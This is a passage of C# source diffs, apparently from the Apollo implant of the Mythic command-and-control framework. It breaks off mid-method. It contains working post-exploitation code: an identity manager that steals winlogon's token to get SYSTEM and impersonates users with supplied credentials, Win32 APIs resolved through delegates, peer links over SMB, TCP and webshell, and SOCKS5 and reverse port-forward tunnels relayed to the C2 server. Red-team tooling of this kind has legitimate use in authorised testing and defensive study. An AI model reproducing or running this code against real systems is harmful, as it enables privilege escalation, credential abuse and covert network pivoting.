public bool GetFileFromStore(string keyName, out byte[] data)
{
return _fileStore.TryGetValue(keyName, out data);
}
public void SetScript(byte[] script)
{
_fileStore.SetScript(script);
}
public string[] ListFiles()
{
return _fileStore.ListFiles();
}
public bool RemoveFile(string keyName)
{
return _fileStore.RemoveFile(keyName);
}
}
}

View File

@@ -0,0 +1,470 @@
using ApolloInterop.Classes.Api;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.ApolloStructs;
using ApolloInterop.Structs.MythicStructs;
using ApolloInterop.Utils;
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;
using static ApolloInterop.Constants.Win32;
using static ApolloInterop.Enums.Win32;
using static ApolloInterop.Structs.Win32;
namespace Apollo.Management.Identity;
public class IdentityManager : IIdentityManager
{
private readonly IAgent _agent;
private readonly object _identitySync = new();
private ApolloLogonInformation _userCredential;
private WindowsIdentity _originalIdentity;
private WindowsIdentity _currentPrimaryIdentity;
private WindowsIdentity _currentImpersonationIdentity;
private bool _isImpersonating;
private IntPtr _executingThread = IntPtr.Zero;
private IntPtr _originalImpersonationToken = IntPtr.Zero;
private IntPtr _originalPrimaryToken = IntPtr.Zero;
#region Delegate Typedefs
private delegate IntPtr GetCurrentThread();
private delegate bool OpenThreadToken(
IntPtr threadHandle,
uint desiredAccess,
bool openAsSelf,
out IntPtr tokenHandle);
private delegate bool OpenProcessToken(
IntPtr hProcess,
uint dwDesiredAccess,
out IntPtr hToken);
private delegate bool DuplicateTokenEx(
IntPtr hToken,
TokenAccessLevels dwDesiredAccess,
IntPtr lpTokenAttributes,
TokenImpersonationLevel impersonationLevel,
TokenType tokenType,
out IntPtr phNewToken);
private delegate bool SetThreadToken(
ref IntPtr hThread,
IntPtr hToken);
private delegate bool CloseHandle(IntPtr hHandle);
private delegate bool GetTokenInformation(
IntPtr tokenHandle,
TokenInformationClass tokenInformationClass,
IntPtr tokenInformation,
int tokenInformationLength,
out int returnLength);
private delegate IntPtr GetSidSubAuthorityCount(IntPtr pSid);
private delegate IntPtr GetSidSubAuthority(IntPtr pSid, int nSubAuthority);
[UnmanagedFunctionPointer(CallingConvention.Winapi, CharSet = CharSet.Unicode)]
private delegate bool LogonUserW(
[MarshalAs(UnmanagedType.LPWStr)] string lpszUsername,
[MarshalAs(UnmanagedType.LPWStr)] string lpszDomain,
[MarshalAs(UnmanagedType.LPWStr)] string lpszPassword,
LogonType dwLogonType,
LogonProvider dwLogonProvider,
out IntPtr phToken);
private readonly GetCurrentThread _GetCurrentThread;
private readonly OpenThreadToken _OpenThreadToken;
private readonly OpenProcessToken _OpenProcessToken;
private readonly DuplicateTokenEx _DuplicateTokenEx;
private readonly SetThreadToken _SetThreadToken;
private readonly CloseHandle _CloseHandle;
private readonly GetTokenInformation _GetTokenInformation;
private readonly GetSidSubAuthorityCount _GetSidSubAuthorityCount;
private readonly GetSidSubAuthority _GetSidSubAuthority;
private readonly LogonUserW _pLogonUserW;
#endregion
public IdentityManager(IAgent agent)
{
_agent = agent;
_GetCurrentThread = _agent.GetApi().GetLibraryFunction<GetCurrentThread>(Library.KERNEL32, "GetCurrentThread");
_OpenThreadToken = _agent.GetApi().GetLibraryFunction<OpenThreadToken>(Library.ADVAPI32, "OpenThreadToken");
_OpenProcessToken = _agent.GetApi().GetLibraryFunction<OpenProcessToken>(Library.ADVAPI32, "OpenProcessToken");
_DuplicateTokenEx = _agent.GetApi().GetLibraryFunction<DuplicateTokenEx>(Library.ADVAPI32, "DuplicateTokenEx");
_SetThreadToken = _agent.GetApi().GetLibraryFunction<SetThreadToken>(Library.ADVAPI32, "SetThreadToken");
_CloseHandle = _agent.GetApi().GetLibraryFunction<CloseHandle>(Library.KERNEL32, "CloseHandle");
_GetTokenInformation = _agent.GetApi().GetLibraryFunction<GetTokenInformation>(Library.ADVAPI32, "GetTokenInformation");
_GetSidSubAuthorityCount = _agent.GetApi().GetLibraryFunction<GetSidSubAuthorityCount>(Library.ADVAPI32, "GetSidSubAuthorityCount");
_GetSidSubAuthority = _agent.GetApi().GetLibraryFunction<GetSidSubAuthority>(Library.ADVAPI32, "GetSidSubAuthority");
_pLogonUserW = _agent.GetApi().GetLibraryFunction<LogonUserW>(Library.ADVAPI32, "LogonUserW");
_originalIdentity = WindowsIdentity.GetCurrent();
_currentPrimaryIdentity = _originalIdentity;
_currentImpersonationIdentity = _originalIdentity;
_isImpersonating = false;
_userCredential = new ApolloLogonInformation();
_executingThread = _GetCurrentThread();
SetImpersonationToken();
SetPrimaryToken();
}
private void SetPrimaryToken()
{
bool bRet = _OpenThreadToken(
_executingThread,
TOKEN_ALL_ACCESS,
true,
out _originalPrimaryToken);
int dwError = Marshal.GetLastWin32Error();
if (!bRet)
{
if (dwError == Error.ERROR_NO_TOKEN)
{
IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
bRet = _OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, out _originalPrimaryToken);
if (!bRet)
throw new Exception($"Failed to open process token: {Marshal.GetLastWin32Error()}");
}
else
{
throw new Exception($"Failed to open thread token: {dwError}");
}
}
if (_originalPrimaryToken == IntPtr.Zero)
_originalPrimaryToken = _originalIdentity.Token;
}
private void SetImpersonationToken()
{
bool bRet = _OpenThreadToken(
_executingThread,
TOKEN_ALL_ACCESS,
true,
out IntPtr hToken);
int dwError = Marshal.GetLastWin32Error();
if (!bRet)
{
if (dwError == Error.ERROR_NO_TOKEN)
{
IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
bRet = _OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, out hToken);
if (!bRet)
throw new Exception($"Failed to acquire process token: {Marshal.GetLastWin32Error()}");
}
else
{
throw new Exception($"Failed to open thread token: {dwError}");
}
}
bRet = _DuplicateTokenEx(
hToken,
TokenAccessLevels.MaximumAllowed,
IntPtr.Zero,
TokenImpersonationLevel.Impersonation,
TokenType.TokenImpersonation,
out _originalImpersonationToken);
_CloseHandle(hToken);
if (!bRet)
throw new Exception($"Failed to duplicate impersonation token: {Marshal.GetLastWin32Error()}");
if (_originalImpersonationToken == IntPtr.Zero)
_originalImpersonationToken = _originalIdentity.Token;
}
private void RevertInternal()
{
if (!_SetThreadToken(ref _executingThread, _originalImpersonationToken))
{
DebugHelp.DebugWriteLine($"[!] Revert() failed to restore thread token: {Marshal.GetLastWin32Error()}");
}
_userCredential = new ApolloLogonInformation();
_currentImpersonationIdentity = _originalIdentity;
_currentPrimaryIdentity = _originalIdentity;
_isImpersonating = false;
}
public bool IsOriginalIdentity()
{
lock (_identitySync)
{
return !_isImpersonating;
}
}
public (bool, IntPtr) GetSystem()
{
lock (_identitySync)
{
if (GetIntegrityLevel() is not IntegrityLevel.HighIntegrity)
return (false, IntPtr.Zero);
IntPtr hToken = IntPtr.Zero;
IntPtr hDupToken = IntPtr.Zero;
try
{
System.Diagnostics.Process[] processes = System.Diagnostics.Process.GetProcessesByName("winlogon");
if (processes.Length == 0)
return (false, IntPtr.Zero);
IntPtr handle = processes[0].Handle;
bool success = _OpenProcessToken(
handle,
(uint)(TokenAccessLevels.Query | TokenAccessLevels.Duplicate),
out hToken);
if (!success)
{
DebugHelp.DebugWriteLine("[!] GetSystem() - OpenProcessToken failed!");
return (false, IntPtr.Zero);
}
success = _DuplicateTokenEx(
hToken,
TokenAccessLevels.MaximumAllowed,
IntPtr.Zero,
TokenImpersonationLevel.Impersonation,
TokenType.TokenImpersonation,
out hDupToken);
if (!success)
{
DebugHelp.DebugWriteLine("[!] GetSystem() - DuplicateTokenEx failed!");
return (false, IntPtr.Zero);
}
DebugHelp.DebugWriteLine("[+] Got SYSTEM token!");
return (true, hDupToken);
}
finally
{
if (hToken != IntPtr.Zero)
_CloseHandle(hToken);
}
}
}
public IntegrityLevel GetIntegrityLevel()
{
IntPtr hToken;
lock (_identitySync)
{
hToken = _currentImpersonationIdentity.Token;
}
int dwRet = 0;
int dwTokenInfoLength = 0;
IntPtr pTokenLabel = IntPtr.Zero;
_GetTokenInformation(
hToken,
TokenInformationClass.TokenIntegrityLevel,
IntPtr.Zero,
0,
out dwTokenInfoLength);
if (dwTokenInfoLength == 0 || Marshal.GetLastWin32Error() != Error.ERROR_INSUFFICIENT_BUFFER)
return (IntegrityLevel)dwRet;
pTokenLabel = Marshal.AllocHGlobal(dwTokenInfoLength);
try
{
bool bRet = _GetTokenInformation(
hToken,
TokenInformationClass.TokenIntegrityLevel,
pTokenLabel,
dwTokenInfoLength,
out dwTokenInfoLength);
if (bRet)
{
TokenMandatoryLevel tokenLabel = (TokenMandatoryLevel)Marshal.PtrToStructure(pTokenLabel, typeof(TokenMandatoryLevel));
IntPtr pSidSubAuthorityCount = _GetSidSubAuthorityCount(tokenLabel.Label.Sid);
int subAuthorityCount = Marshal.ReadByte(pSidSubAuthorityCount);
if (subAuthorityCount > 0)
{
dwRet = Marshal.ReadInt32(_GetSidSubAuthority(tokenLabel.Label.Sid, subAuthorityCount - 1));
}
if (dwRet < SECURITY_MANDATORY_LOW_RID)
dwRet = 0;
else if (dwRet < SECURITY_MANDATORY_MEDIUM_RID)
dwRet = 1;
else if (dwRet < SECURITY_MANDATORY_HIGH_RID)
dwRet = 2;
else if (dwRet < SECURITY_MANDATORY_SYSTEM_RID)
dwRet = 3;
else
dwRet = 4;
}
}
catch (Exception ex)
{
DebugHelp.DebugWriteLine($"[!] GetIntegrityLevel() failed: {ex.Message}");
}
finally
{
Marshal.FreeHGlobal(pTokenLabel);
}
return (IntegrityLevel)dwRet;
}
public WindowsIdentity GetCurrent()
{
lock (_identitySync)
{
return _currentImpersonationIdentity;
}
}
public WindowsIdentity GetOriginal()
{
lock (_identitySync)
{
return _originalIdentity;
}
}
public bool SetIdentity(ApolloLogonInformation logonInfo)
{
lock (_identitySync)
{
RevertInternal();
bool bRet = _pLogonUserW(
logonInfo.Username,
logonInfo.Domain,
logonInfo.Password,
logonInfo.NetOnly ? LogonType.LOGON32_LOGON_NEW_CREDENTIALS : LogonType.LOGON32_LOGON_INTERACTIVE,
LogonProvider.LOGON32_PROVIDER_WINNT50,
out IntPtr hToken);
if (!bRet)
{
return false;
}
_currentPrimaryIdentity = new WindowsIdentity(hToken);
bRet = _DuplicateTokenEx(
_currentPrimaryIdentity.Token,
TokenAccessLevels.MaximumAllowed,
IntPtr.Zero,
TokenImpersonationLevel.Impersonation,
TokenType.TokenImpersonation,
out IntPtr dupToken);
if (!bRet)
{
_CloseHandle(hToken);
RevertInternal();
return false;
}
_currentImpersonationIdentity = new WindowsIdentity(dupToken);
_isImpersonating = true;
_userCredential = logonInfo;
_CloseHandle(hToken);
_CloseHandle(dupToken);
return true;
}
}
public void SetPrimaryIdentity(WindowsIdentity ident)
{
lock (_identitySync)
{
_currentPrimaryIdentity = ident;
_isImpersonating = true;
}
}
public void SetPrimaryIdentity(IntPtr hToken)
{
lock (_identitySync)
{
_currentPrimaryIdentity = new WindowsIdentity(hToken);
_isImpersonating = true;
}
}
public void SetImpersonationIdentity(WindowsIdentity ident)
{
lock (_identitySync)
{
_currentImpersonationIdentity = ident;
_isImpersonating = true;
}
}
public void SetImpersonationIdentity(IntPtr hToken)
{
lock (_identitySync)
{
_currentImpersonationIdentity = new WindowsIdentity(hToken);
_isImpersonating = true;
}
}
public void Revert()
{
lock (_identitySync)
{
RevertInternal();
}
}
public WindowsIdentity GetCurrentPrimaryIdentity()
{
lock (_identitySync)
{
return _currentPrimaryIdentity;
}
}
public WindowsIdentity GetCurrentImpersonationIdentity()
{
lock (_identitySync)
{
return _currentImpersonationIdentity;
}
}
public bool GetCurrentLogonInformation(out ApolloLogonInformation logonInfo)
{
lock (_identitySync)
{
if (!string.IsNullOrEmpty(_userCredential.Username) &&
!string.IsNullOrEmpty(_userCredential.Password))
{
logonInfo = _userCredential;
return true;
}
logonInfo = new ApolloLogonInformation();
return false;
}
}
}

View File

@@ -0,0 +1,73 @@
using System;
using Apollo.Peers.SMB;
using Apollo.Peers.TCP;
using Apollo.Peers.Webshell;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using ApolloInterop.Utils;
using AI = ApolloInterop;
namespace Apollo.Management.Peer
{
public class PeerManager : AI.Classes.P2P.PeerManager
{
public PeerManager(IAgent agent) : base(agent)
{
}
public override AI.Classes.P2P.Peer AddPeer(PeerInformation connectionInfo)
{
AI.Classes.P2P.Peer peer = null;
switch(connectionInfo.C2Profile.Name.ToUpper())
{
case "SMB":
peer = new SMBPeer(_agent, connectionInfo);
break;
case "TCP":
peer = new TCPPeer(_agent, connectionInfo);
break;
case "WEBSHELL":
peer = new WebshellPeer(_agent, connectionInfo);
break;
default:
throw new Exception("Not implemented.");
}
if (peer == null)
{
throw new Exception("Peer not set to an instance of an object.");
}
while (!_peers.TryAdd(peer.GetUUID(), peer))
{
System.Threading.Thread.Sleep(100);
}
peer.UUIDNegotiated += (object _, AI.Classes.UUIDEventArgs args) =>
{
while (!_peers.TryRemove(peer.GetUUID(), out IPeer _))
{
System.Threading.Thread.Sleep(100);
}
while (!_peers.TryAdd(peer.GetMythicUUID(), peer))
{
System.Threading.Thread.Sleep(100);
}
};
peer.Disconnect += (object _, EventArgs a) =>
{
while (!Remove(peer))
System.Threading.Thread.Sleep(100);
};
//peer.Start();
return peer;
}
public override bool Route(DelegateMessage msg)
{
if (_peers.ContainsKey(msg.UUID))
{
_peers[msg.UUID].ProcessMessage(msg);
return true;
}
return false;
}
}
}

View File

@@ -0,0 +1,193 @@
using ApolloInterop.Classes;
using ApolloInterop.Interfaces;
using System;
using System.Collections.Concurrent;
using System.Linq;
using System.Net.Sockets;
using System.Threading;
using TT = System.Threading.Tasks;
using ApolloInterop.Enums.ApolloEnums;
using ApolloInterop.Structs.MythicStructs;
using System.Net;
using ApolloInterop.Utils;
using System.Text;
namespace Apollo.Management.Rpfwd
{
public class RpfwdClient
{
// Rpfwd Client will be created for each new connection to the bound port in the rpfwd task
private AsyncTcpClient _client;
private TcpClient _tcpClient;
private IPAddress _addr;
private int _port;
private CancellationTokenSource _cts = new CancellationTokenSource();
private AutoResetEvent _requestEvent = new AutoResetEvent(false);
private Action<object> _sendRequestsAction;
private TT.Task _sendRequestsTask = null;
public int ID { get; private set; }
private IAgent _agent;
private Tasking _task;
private int _debugLevel;
private string _remoteConnectionString;
private ConcurrentQueue<byte[]> _requestQueue = new ConcurrentQueue<byte[]>();
private ConcurrentQueue<byte[]> _receiveQueue = new ConcurrentQueue<byte[]>();
public RpfwdClient(IAgent agent, TcpClient client, int serverId, int port, int debugLevel, Tasking task)
{
_agent = agent;
_port = port;
ID = serverId;
_tcpClient = client;
_task = task;
_debugLevel = debugLevel;
_remoteConnectionString = $"{_tcpClient.Client.RemoteEndPoint}";
_sendRequestsAction = (object c) =>
{
TcpClient client = (TcpClient)c;
while(!_cts.IsCancellationRequested && client.Connected)
{
try
{
WaitHandle.WaitAny(new WaitHandle[] {_requestEvent, _cts.Token.WaitHandle});
}
catch (OperationCanceledException)
{
break;
}
if (!_cts.IsCancellationRequested && client.Connected && _requestQueue.TryDequeue(out byte[] result))
{
try
{
client.GetStream().BeginWrite(result, 0, result.Length, OnDataSent, c);
}
catch
{
break;
}
} else if (_cts.IsCancellationRequested || !client.Connected)
{
break;
}
}
client.Close();
};
}
public void Exit()
{
_cts.Cancel();
if (_sendRequestsTask != null)
_sendRequestsTask.Wait();
}
public void Start()
{
_client = new AsyncTcpClient(_tcpClient);
_client.ConnectionEstablished += OnConnect;
_client.Disconnect += OnDisconnect;
_client.MessageReceived += OnMessageReceived;
_client.Connect();
}
private void OnConnect(object sender, TcpMessageEventArgs args)
{
args.State = this;
_sendRequestsTask = new TT.Task(_sendRequestsAction, args.Client);
_sendRequestsTask.Start();
_agent.GetTaskManager().AddRpfwdDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
{
ServerID = ID,
Data = "",
Exit = false,
Port = _port
});
if(_debugLevel > 0)
{
_agent.GetTaskManager().AddTaskResponseToQueue(_task.CreateTaskResponse($"[Connection {ID}] - New Connection\nClient: {_remoteConnectionString}\n\n", false));
}
}
private void OnDisconnect(object sender, TcpMessageEventArgs args)
{
_cts.Cancel();
args.Client.Close();
_sendRequestsTask.Wait();
_agent.GetRpfwdManager().Remove(ID);
if(_debugLevel > 0)
{
_agent.GetTaskManager().AddTaskResponseToQueue(_task.CreateTaskResponse($"[Connection {ID}] - Closed Connection\nClient: {_remoteConnectionString}\n\n", false));
}
}
private void OnDataSent(IAsyncResult result)
{
TcpClient client = (TcpClient)result.AsyncState;
if (client.Connected && !_cts.IsCancellationRequested)
{
try
{
client.GetStream().EndWrite(result);
// Potentially delete this since theoretically the sender Task does everything
if (_requestQueue.TryDequeue(out byte[] data))
{
client.GetStream().BeginWrite(data, 0, data.Length, OnDataSent, client);
}
}
catch (System.IO.IOException)
{
}
}
}
public void OnMessageReceived(object sender, TcpMessageEventArgs args)
{
byte[] data = args.Data.Data.Take(args.Data.DataLength).ToArray();
DebugHelp.DebugWriteLine($"Got data from client: {ID}, AddRpfwdDatagramToQueue");
_agent.GetTaskManager().AddRpfwdDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
{
ServerID = ID,
Data = Convert.ToBase64String(data),
Exit = false,
Port = _port
});
if(_debugLevel >= 1)
{
_agent.GetTaskManager().AddTaskResponseToQueue(_task.CreateTaskResponse($"[Connection {ID}] - Data ({data.Length} Bytes) From Remote Connection\n{Encoding.UTF8.GetString(data)}\n\n", false));
}
}
public bool HandleDatagram(SocksDatagram dg)
{
byte[] data;
bool bRet = false;
try
{
data = Convert.FromBase64String(dg.Data);
} catch (Exception ex)
{
// Console.WriteLine($"Invalid b64 data from Mythic: {ex.Message}");
return bRet;
}
if (_client != null && !_sendRequestsTask.IsCompleted)
{
_requestQueue.Enqueue(data);
_requestEvent.Set();
bRet = true;
}
if(_debugLevel >= 2)
{
_agent.GetTaskManager().AddTaskResponseToQueue(_task.CreateTaskResponse($"[Connection {ID}] - Data ({data.Length} Bytes) From Mythic Connection\n{Encoding.UTF8.GetString(data)}\n\n", false));
}
return bRet;
}
}
}

View File

@@ -0,0 +1,63 @@
using AI = ApolloInterop;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using System.Collections.Concurrent;
using System.Net.Sockets;
using System;
using ApolloInterop.Utils;
using System.Xml.Linq;
using ApolloInterop.Classes;
namespace Apollo.Management.Rpfwd
{
public class RpfwdManager : AI.Classes.RpfwdManager
{
private ConcurrentDictionary<int, RpfwdClient> _connections = new ConcurrentDictionary<int, RpfwdClient>();
public RpfwdManager(IAgent agent) : base(agent)
{
}
public override bool AddConnection(TcpClient client, int ServerID, int Port, int debugLevel, Tasking task)
{
RpfwdClient c = new RpfwdClient(_agent, client, ServerID, Port, debugLevel, task);
_connections.AddOrUpdate(c.ID, c, (int i, RpfwdClient d) => { return d; });
DebugHelp.DebugWriteLine($"added new connection to RpfwdManager _connections: {ServerID}");
c.Start();
return true;
}
public override bool Route(SocksDatagram dg)
{
// we'll never get notification of a new client from the server, we will always identify new clients
DebugHelp.DebugWriteLine($"routing datagram: {dg.ServerID}");
if (!_connections.ContainsKey(dg.ServerID))
{
// this means we got a message for something that's already exited on our end
if (!dg.Exit)
{
// it is exited on our end, but Mythic isn't trying to tell us to exit, so we need to inform it to close the connection
return dg.Exit;
}
// we don't have the id, but Mythic is trying to tell us to close the id, so just drop the packet
return false;
// RpfwdClient c = new RpfwdClient(_agent, dg.ServerID);
//_connections.AddOrUpdate(c.ID, c, (int i, RpfwdClient d) => { return d; });
}
var handleRet = _connections[dg.ServerID].HandleDatagram(dg);
if (dg.Exit)
{
// we do have the connection tracked and the Mythic server is telling us its closed on their end, so close here and exit
_connections[dg.ServerID].Exit();
return dg.Exit;
}
return handleRet;
}
public override bool Remove(int id)
{
_connections[id].Exit();
return _connections.TryRemove(id, out RpfwdClient _);
}
}
}

View File

@@ -0,0 +1,293 @@
using ApolloInterop.Classes;
using ApolloInterop.Interfaces;
using System;
using System.Collections.Concurrent;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using TT = System.Threading.Tasks;
using ApolloInterop.Enums.ApolloEnums;
using ApolloInterop.Structs.MythicStructs;
using System.Net;
using ApolloInterop.Constants;
namespace Apollo.Management.Socks
{
public class SocksClient
{
private AsyncTcpClient _client;
private IPAddress _addr;
private int _port;
private CancellationTokenSource _cts = new CancellationTokenSource();
private AutoResetEvent _requestEvent = new AutoResetEvent(false);
private Action<object> _sendRequestsAction;
private TT.Task _sendRequestsTask = null;
public int ID { get; private set; }
private IAgent _agent;
private ConcurrentQueue<byte[]> _requestQueue = new ConcurrentQueue<byte[]>();
private ConcurrentQueue<byte[]> _receiveQueue = new ConcurrentQueue<byte[]>();
public SocksClient(IAgent agent, int serverId)
{
_agent = agent;
ID = serverId;
_sendRequestsAction = (object c) =>
{
TcpClient client = (TcpClient)c;
while(!_cts.IsCancellationRequested && client.Connected)
{
try
{
WaitHandle.WaitAny(new WaitHandle[] {_requestEvent, _cts.Token.WaitHandle});
}
catch (OperationCanceledException)
{
break;
}
if (!_cts.IsCancellationRequested && client.Connected && _requestQueue.TryDequeue(out byte[] result))
{
try
{
client.GetStream().BeginWrite(result, 0, result.Length, OnDataSent, c);
}
catch
{
break;
}
} else if (_cts.IsCancellationRequested || !client.Connected)
{
break;
}
}
client.Close();
};
}
public void Exit()
{
_cts.Cancel();
if (_sendRequestsTask != null)
_sendRequestsTask.Wait();
}
private void OnConnect(object sender, TcpMessageEventArgs args)
{
args.State = this;
_sendRequestsTask = new TT.Task(_sendRequestsAction, args.Client);
_sendRequestsTask.Start();
}
private void OnDisconnect(object sender, TcpMessageEventArgs args)
{
_cts.Cancel();
args.Client.Close();
_sendRequestsTask.Wait();
_agent.GetSocksManager().Remove(ID);
}
private void OnDataSent(IAsyncResult result)
{
TcpClient client = (TcpClient)result.AsyncState;
if (client.Connected && !_cts.IsCancellationRequested)
{
try
{
client.GetStream().EndWrite(result);
// Potentially delete this since theoretically the sender Task does everything
if (_requestQueue.TryDequeue(out byte[] data))
{
client.GetStream().BeginWrite(data, 0, data.Length, OnDataSent, client);
}
}
catch (System.IO.IOException)
{
}
}
}
public void OnMessageReceived(object sender, TcpMessageEventArgs args)
{
byte[] data = args.Data.Data.Take(args.Data.DataLength).ToArray();
_agent.GetTaskManager().AddSocksDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
{
ServerID = ID,
Data = Convert.ToBase64String(data),
Exit = false
});
}
public static Socks5AddressType GetAddrType(byte[] data)
{
return (Socks5AddressType)data[3];
}
public bool GetConnection(byte[] data)
{
Socks5AddressType addrType = GetAddrType(data);
switch(addrType)
{
case Socks5AddressType.FQDN:
int domainLen = data[4];
string domainName = Encoding.UTF8.GetString(data.Skip(5).Take(domainLen).ToArray());
_port = (int)BitConverter.ToUInt16(data.Skip(5 + domainLen).Take(2).Reverse().ToArray(), 0);
try
{
_addr = Dns.GetHostEntry(domainName).AddressList[0];
} catch (Exception ex)
{
// Console.WriteLine($"Failed to resolve DNS for {domainName}: {ex.Message}");
return false;
}
_client = new AsyncTcpClient(domainName, _port);
break;
case Socks5AddressType.IPv4:
byte[] bIpv4 = data.Skip(4).Take(4).ToArray();
_port = (int)BitConverter.ToUInt16(data.Skip(8).Reverse().ToArray(), 0);
_addr = new IPAddress(bIpv4);
_client = new AsyncTcpClient(_addr, _port);
break;
case Socks5AddressType.IPv6:
byte[] bIpv6 = data.Skip(4).Take(16).ToArray();
int port3 = (int)BitConverter.ToUInt16(data.Skip(20).Reverse().ToArray(), 0);
_addr = new IPAddress(bIpv6);
_client = new AsyncTcpClient(_addr, _port);
break;
default:
break;
}
if (_client == null)
{
return false;
}
_client.ConnectionEstablished += OnConnect;
_client.Disconnect += OnDisconnect;
_client.MessageReceived += OnMessageReceived;
return _client.Connect();
}
private bool SupportedSocksVersion(byte[] data)
{
return data[0] == SOCKS.SUPPORTED_VERSION;
}
private Socks5Command GetCommand(byte[] data)
{
return (Socks5Command)data[1];
}
public bool HandleDatagram(SocksDatagram dg)
{
byte[] data;
bool bRet = false;
try
{
data = Convert.FromBase64String(dg.Data);
} catch (Exception ex)
{
// Console.WriteLine($"Invalid b64 data from Mythic: {ex.Message}");
return bRet;
}
if (_client != null && !_sendRequestsTask.IsCompleted)
{
_requestQueue.Enqueue(data);
_requestEvent.Set();
bRet = true;
} else
{
if (data.Length > 3 && SupportedSocksVersion(data))
{
switch (GetCommand(data))
{
case Socks5Command.Connect:
if (GetConnection(data))
{
byte[] success = new byte[22];
int succesLen = success.Length;
success[0] = SOCKS.SUPPORTED_VERSION;
if (_addr.AddressFamily == AddressFamily.InterNetwork)
{
succesLen -= 12;
success[3] = 0x01;
Buffer.BlockCopy(_addr.GetAddressBytes(), 0, success, 4, 4);
Buffer.BlockCopy(BitConverter.GetBytes(_port), 0, success, 8, 2);
} else
{
success[3] = 0x04;
Buffer.BlockCopy(_addr.GetAddressBytes(), 0, success, 4, 16);
Buffer.BlockCopy(BitConverter.GetBytes(_port), 0, success, 20, 2);
}
_agent.GetTaskManager().AddSocksDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
{
ServerID = ID,
Data = Convert.ToBase64String(success.Take(succesLen).ToArray()),
Exit = false
});
bRet = true;
}
else
{
byte[] failedMessage = new byte[10]
{
SOCKS.SUPPORTED_VERSION,
0x01,
0x00,
0x01,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
};
_agent.GetTaskManager().AddSocksDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
{
ServerID = ID,
Data = Convert.ToBase64String(failedMessage),
Exit = true
});
}
break;
case Socks5Command.Bind:
break;
case Socks5Command.Associate:
break;
default:
byte[] unsupportedCmd = new byte[10]
{
SOCKS.SUPPORTED_VERSION,
0x07,
0x00,
0x01,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
};
_agent.GetTaskManager().AddSocksDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
{
ServerID = ID,
Data = Convert.ToBase64String(unsupportedCmd),
Exit = true
});
break;
}
}
}
return bRet;
}
}
}

View File

@@ -0,0 +1,41 @@
using AI = ApolloInterop;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using System.Collections.Concurrent;
namespace Apollo.Management.Socks
{
public class SocksManager : AI.Classes.SocksManager
{
private ConcurrentDictionary<int, SocksClient> _connections = new ConcurrentDictionary<int, SocksClient>();
public SocksManager(IAgent agent) : base(agent)
{
}
public override bool Route(SocksDatagram dg)
{
if (!_connections.ContainsKey(dg.ServerID))
{
if (!dg.Exit)
{
SocksClient c = new SocksClient(_agent, dg.ServerID);
_connections.AddOrUpdate(c.ID, c, (int i, SocksClient d) => { return d; });
} else { return dg.Exit; }
}
if (dg.Exit)
{
_connections[dg.ServerID].Exit();
return dg.Exit;
}
return _connections[dg.ServerID].HandleDatagram(dg);
}
public override bool Remove(int id)
{
_connections[id].Exit();
return _connections.TryRemove(id, out SocksClient _);
}
}
}

View File

@@ -0,0 +1,322 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Collections.Concurrent;
using ApolloInterop.Interfaces;
using ApolloInterop.Types.Delegates;
using ApolloInterop.Structs.MythicStructs;
using ApolloInterop.Enums.ApolloEnums;
using ApolloInterop.Classes;
using System.Threading;
using System.Threading.Tasks;
using System.Reflection;
using ApolloInterop.Classes.Collections;
using ApolloInterop.Utils;
namespace Apollo.Management.Tasks
{
public class TaskManager : ITaskManager
{
protected IAgent _agent;
private ThreadSafeList<MythicTaskResponse> TaskResponseList = new();
private ThreadSafeList<DelegateMessage> DelegateMessages = new();
//private ConcurrentQueue<DelegateMessage> DelegateMessages = new ConcurrentQueue<DelegateMessage>();
private Dictionary<MessageDirection, ConcurrentQueue<SocksDatagram>> SocksDatagramQueue = new()
{
{ MessageDirection.ToMythic, new ConcurrentQueue<SocksDatagram>() },
{ MessageDirection.FromMythic, new ConcurrentQueue<SocksDatagram>() }
};
private Dictionary<MessageDirection, ConcurrentQueue<SocksDatagram>> RpfwdDatagramQueue = new()
{
{ MessageDirection.ToMythic, new ConcurrentQueue<SocksDatagram>() },
{ MessageDirection.FromMythic, new ConcurrentQueue<SocksDatagram>() }
};
private ConcurrentDictionary<string, Tasking> _runningTasks = new();
private ConcurrentDictionary<string, Type> _loadedTaskTypes = new();
private ConcurrentQueue<MythicTask> TaskQueue = new();
private ConcurrentQueue<MythicTaskStatus> TaskStatusQueue = new();
private Action _taskConsumerAction;
private Task _mainworker;
private Assembly _tasksAsm = null;
public TaskManager(IAgent agent)
{
_agent = agent;
InitializeTaskLibrary();
_taskConsumerAction = () =>
{
while(_agent.IsAlive())
{
if (TaskQueue.TryDequeue(out MythicTask result))
{
if (!_loadedTaskTypes.ContainsKey(result.Command))
{
AddTaskResponseToQueue(new MythicTaskResponse()
{
UserOutput = $"Task '{result.Command}' not loaded.",
TaskID = result.ID,
Completed = true,
Status = "error"
});
}
else
{
try
{
Tasking t = (Tasking) Activator.CreateInstance(
_loadedTaskTypes[result.Command],
new object[] {_agent, result});
var taskObj = t.CreateTasking();
// When the task finishes, we remove it from the queue.
taskObj.ContinueWith((_) => { _runningTasks.TryRemove(t.ID(), out Tasking _); });
// Unhandled exception occurred in task, report it.
taskObj.ContinueWith((_) => { OnTaskErrorOrCancel(t, taskObj); },
System.Threading.Tasks.TaskContinuationOptions.OnlyOnFaulted);
// If it got cancelled and threw an exception of that type,
// report it.
taskObj.ContinueWith((_) => { OnTaskErrorOrCancel(t, taskObj); },
System.Threading.Tasks.TaskContinuationOptions.OnlyOnCanceled);
_runningTasks.TryAdd(t.ID(), t);
taskObj.Start();
}
catch (Exception ex)
{
